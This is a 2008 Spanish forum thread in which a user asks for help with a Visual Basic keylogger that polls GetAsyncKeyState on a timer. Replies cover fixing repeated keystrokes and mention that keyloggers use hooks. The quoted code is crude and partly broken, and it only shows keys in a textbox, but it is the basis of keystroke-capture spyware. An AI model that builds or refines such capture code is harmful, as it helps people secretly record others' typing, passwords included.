Problema con mi Keylogger

Iniciado por & eDu &, 5 Octubre 2008, 19:49 PM

0 Miembros y 1 Visitante están viendo este tema.

& eDu &

Y si no lo hago con timer, ¿como lo hago? Gracias.

skapunky

Hay un metodo llamado "Por encuesta" que trata de eliminar justamente errores de repeticiónes mecanicas en teclados. Este metodo es muy utilizado en teclados matriciales por ejemplo en electrónica y en este caso puede ser exactamente aplicable a la informática.

Trata de pillar el valor de una tecla, guardarlo, esperar un tiempo muy corto,volver a captar el valor de la tecla, y por ultimo comparar.

Lo malo que si expresamente un usuario clikea dos veces la misma tecla solo te lo captara una vez, pero como pista te dire que con un segundo timer a menor tiempo puedes comprobarlo.

Otra alternativa es la chapuza de ir probando tiempos como te han dicho...aunque yo de eso no me fiaria al 100% ya que npo todos los teclados son iguales de "rapidos".
Killtrojan Syslog v1.44: ENTRAR

& eDu &

¿Y los keyloggers como lo hacen? Ya que los keyloggers si que lo pillan todo ala perfección.

el_c0c0

Cita de: ErMoja en  6 Octubre 2008, 21:20 PM
¿Y los keyloggers como lo hacen? Ya que los keyloggers si que lo pillan todo ala perfección.
con hooks..
'-     coco
"Te voy a romper el orto"- Las hemorroides

& eDu &


w0od93

Cita de: ErMoja en  5 Octubre 2008, 21:51 PM
Estoy en un portatil, mira el code

Código (vb) [Seleccionar]
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim cadena As String

Private Sub Timer1_Timer()
    If GetAsyncKeyState(vbKeyA) <> 0 Then
     cadena = cadena + "a"
    If GetAsyncKeyState(vbKeyB) <> 0 Then
     cadena = cadena + "b"
     ElseIf GetAsyncKeyState(vbKeyC) <> 0 Then
     cadena = cadena + "c"
     ElseIf GetAsyncKeyState(vbKeyD) <> 0 Then
     cadena = cadena + "d"
     ElseIf GetAsyncKeyState(vbKeyE) <> 0 Then
     cadena = cadena + "e"
     ElseIf GetAsyncKeyState(vbKeyF) <> 0 Then
     cadena = cadena + "f"
     ElseIf GetAsyncKeyState(vbKeyG) <> 0 Then
     cadena = cadena + "g"
     ElseIf GetAsyncKeyState(vbKeyH) <> 0 Then
     cadena = cadena + "h"
     ElseIf GetAsyncKeyState(vbKeyI) <> 0 Then
     cadena = cadena + "i"
     ElseIf GetAsyncKeyState(vbKeyJ) <> 0 Then
     cadena = cadena + "j"
     ElseIf GetAsyncKeyState(vbKeyK) <> 0 Then
     cadena = cadena + "k"
     ElseIf GetAsyncKeyState(vbKeyL) <> 0 Then
     cadena = cadena + "l"
     ElseIf GetAsyncKeyState(vbKeyM) <> 0 Then
     cadena = cadena + "m"
     ElseIf GetAsyncKeyState(vbKeyN) <> 0 Then
     cadena = cadena + "n"
     ElseIf GetAsyncKeyState(vbKeyR) <> 0 Then
     cadena = cadena + "r"
     ElseIf GetAsyncKeyState(vbKeyO) <> 0 Then
     cadena = cadena + "o"
     ElseIf GetAsyncKeyState(vbKeyP) <> 0 Then
     cadena = cadena + "p"
     ElseIf GetAsyncKeyState(vbKeyQ) <> 0 Then
     cadena = cadena + "q"
     ElseIf GetAsyncKeyState(vbKeyS) <> 0 Then
     cadena = cadena + "s"
     ElseIf GetAsyncKeyState(vbKeyT) <> 0 Then
     cadena = cadena + "t"
     ElseIf GetAsyncKeyState(vbKeyU) <> 0 Then
     cadena = cadena + "u"
     ElseIf GetAsyncKeyState(vbKeyW) <> 0 Then
     cadena = cadena + "w"
   ElseIf GetAsyncKeyState(vbKeyX) <> 0 Then
     cadena = cadena + "x"
     ElseIf GetAsyncKeyState(vbKeyY) <> 0 Then
     cadena = cadena + "y"
     ElseIf GetAsyncKeyState(vbKeyZ) <> 0 Then
     cadena = cadena + "z"
     ElseIf GetAsyncKeyState(32) <> 0 Then
     cadena = cadena + " "
     ElseIf GetAsyncKeyState(13) <> 0 Then
     cadena = cadena + vbNewLine
     ElseIf GetAsyncKeyState(63) <> 0 Then
     cadena = cadena + "?"
     ElseIf GetAsyncKeyState(191) <> 0 Then
     cadena = cadena + "¿"
     End If
     Text1.Text = cadena
End Sub


Te falta la "v" :P